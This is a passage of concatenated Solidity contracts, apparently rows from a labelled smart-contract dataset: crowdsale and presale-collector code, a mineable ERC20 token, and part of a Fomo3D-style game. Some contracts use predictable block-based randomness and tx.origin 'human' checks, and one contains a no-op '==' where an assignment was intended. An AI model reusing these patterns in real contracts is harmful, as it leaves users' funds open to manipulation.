uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract PresaleFundCollector is Ownable {
using SafeMathLib for uint;
uint public MAX_INVESTORS = 32;
uint public investorCount;
address[] public investors;
mapping(address => uint) public balances;
uint public freezeEndsAt;
uint public weiMinimumLimit;
bool public moving;
Crowdsale public crowdsale;
event Invested(address investor, uint value);
event Refunded(address investor, uint value);
function PresaleFundCollector(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
freezeEndsAt = _freezeEndsAt;
}
function invest() public payable {
if(moving) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = balances[investor].plus(msg.value);
if(balances[investor] < weiMinimumLimit) {
throw;
}
if(!existing) {
if(investorCount >= MAX_INVESTORS) throw;
investors.push(investor);
investorCount++;
}
Invested(investor, msg.value);
}
function parcipateCrowdsaleInvestor(address investor) public {
if(address(crowdsale) == 0) throw;
moving = true;
if(balances[investor] > 0) {
uint amount = balances[investor];
delete balances[investor];
crowdsale.invest.value(amount)(investor);
}
}
function parcipateCrowdsaleAll() public {
for(uint i=0; i<investors.length; i++) {
parcipateCrowdsaleInvestor(investors[i]);
}
}
function refund() {
if(now < freezeEndsAt) throw;
moving = true;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!investor.send(amount)) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
}
function() payable {
throw;
}
} | 0 | 1,403 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MetaToken is PausableToken {
string public name = 'MetaMetaMeta! Token';
uint8 public decimals = 8;
string public symbol = 'M3T';
string public version = '0.4.0';
uint256 public blockReward = 1 * (10**uint256(decimals));
uint32 public halvingInterval = 210000;
uint256 public blockNumber = 0;
uint256 public totalSupply = 0;
uint256 public target = 0x0000ffff00000000000000000000000000000000000000000000000000000000;
uint256 public powLimit = 0x0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
uint40 public lastMinedOn;
uint256 public randomness;
address public newContractAddress;
function MetaToken() Ownable() {
lastMinedOn = uint40(block.timestamp);
updateRandomness();
}
function updateRandomness() internal {
randomness = uint256(sha3(sha3(uint256(block.blockhash(block.number-1)) + uint256(block.coinbase) + uint256(block.timestamp))));
}
function getRamdomness() view returns (uint256 currentRandomness) {
return randomness;
}
function hash(uint256 nonce, uint256 currentRandomness) pure returns (uint256){
return uint256(sha3(nonce+currentRandomness));
}
function checkProofOfWork(uint256 nonce, uint256 currentRandomness, uint256 currentTarget) pure returns (bool workAccepted){
return uint256(hash(nonce, currentRandomness)) < currentTarget;
}
function checkMine(uint256 nonce) view returns (bool success) {
return checkProofOfWork(nonce, getRamdomness(), target);
}
function mine(uint256 nonce) whenNotPaused returns (bool success) {
require(checkMine(nonce));
Mine(msg.sender, blockReward, uint40(block.timestamp) - uint40(lastMinedOn));
balances[msg.sender] += blockReward;
blockNumber += 1;
totalSupply += blockReward;
updateRandomness();
var mul = (block.timestamp - lastMinedOn);
if (mul > (60*2.5*2)) {
mul = 60*2.5*2;
}
if (mul < (60*2.5/2)) {
mul = 60*2.5/2;
}
target *= mul;
target /= (60*2.5);
if (target > powLimit) {
target = powLimit;
}
lastMinedOn = uint40(block.timestamp);
if (blockNumber % halvingInterval == 0) {
blockReward /= 2;
RewardHalved();
}
return true;
}
function setNewContractAddress(address newAddress) onlyOwner {
newContractAddress = newAddress;
}
event Mine(address indexed _miner, uint256 _reward, uint40 _seconds);
event RewardHalved();
} | 0 | 1,382 |
pragma solidity ^0.4.24;
contract H3Devents {
event onNewDecision
(
address senderAddress,
uint256 randNum,
bool decision
);
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is H3Devents {}
contract Heaven3D is modularLong {
using SafeMath for *;
using NameFilter for string;
using H3DKeysCalcLong for uint256;
TeamDreamHubInterface public TeamDreamHub_;
PlayerBookInterface public PlayerBook;
string constant public name = "Heaven3D Official";
string constant public symbol = "H3D";
address private owner;
uint256 constant private rndExtra_ = 0 hours;
uint256 constant private rndGap_ = 0 hours;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndDeciExt_ = 360 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 constant private rule_limit_latestPlayersCnt = 10;
uint256 constant private rule_limit_heavyPlayersCnt = 10;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
bool public noMoreNextRound_ = false;
uint256 public randomDecisionPhase_ = 100;
bool private endRoundDecisionResult_ = false;
address private address_of_last_rand_gen_source_ = address(0);
mapping (uint256 => bool) pPAIDxID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => H3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => H3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => H3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
constructor(address _TeamDreamHubSCaddress, address _PlayerBookSCaddress)
public
{
owner = msg.sender;
TeamDreamHub_ = TeamDreamHubInterface(_TeamDreamHubSCaddress);
PlayerBook = PlayerBookInterface(_PlayerBookSCaddress);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
H3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
H3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
H3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
H3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
H3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
H3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
H3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function noMoreNextRoundSetting(bool _noMoreNextRound)
isActivated()
onlyOwner()
public
{
noMoreNextRound_ = _noMoreNextRound;
}
function insertToPot()
isActivated()
onlyOwner()
public
payable
{
round_[rID_].pot = round_[rID_].pot.add(msg.value);
emit H3Devents.onPotSwapDeposit(rID_, msg.value);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
H3Ddatasets.EventReturns memory _eventData_;
endRoundControl(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
if(round_[_rID].ended == true)
{
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit H3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
else
{
emit H3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit H3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit H3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit H3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit H3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
uint256 limitedDividends = (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd));
if(limitedDividends > plyrRnds_[_pID][_rID].eth.mul(3))
limitedDividends = plyrRnds_[_pID][_rID].eth.mul(3);
return
(
plyr_[_pID].win,
limitedDividends,
plyr_[_pID].aff
);
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
randomDecisionPhase_
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
uint256 limitedDividends = (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd));
if(limitedDividends > plyrRnds_[_pID][_rID].eth.mul(3))
limitedDividends = plyrRnds_[_pID][_rID].eth.mul(3);
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
limitedDividends,
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function endRoundControl(H3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
randomDecisionPhase_ = 101;
address _address_gen_src = address_of_last_rand_gen_source_;
bool goMakeDecision = true;
if((_address_gen_src == address(0)) || (_address_gen_src == msg.sender)) {
goMakeDecision = true;
}
else {
if(checkNotSmartContract(_address_gen_src)) {
if(endRoundDecisionResult_ == true) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
randomDecisionPhase_ = 100;
}
else {
uint256 _now = now;
round_[_rID].end = rndDeciExt_.add(_now);
}
endRoundDecisionResult_ = false;
address_of_last_rand_gen_source_ = address(0);
goMakeDecision = false;
}
else {
goMakeDecision = true;
}
}
if(goMakeDecision == true) {
address_of_last_rand_gen_source_ = msg.sender;
endRoundDecisionResult_ = endRoundDecision();
}
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, H3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
endRoundControl(_eventData_);
if(round_[_rID].ended == true)
{
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit H3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, H3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
endRoundControl(_eventData_);
if(round_[_rID].ended == true)
{
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit H3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, H3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
else
updateGenVault(_pID, plyr_[_pID].lrnd);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _keys, _eventData_);
internalNoter(_rID, _pID);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
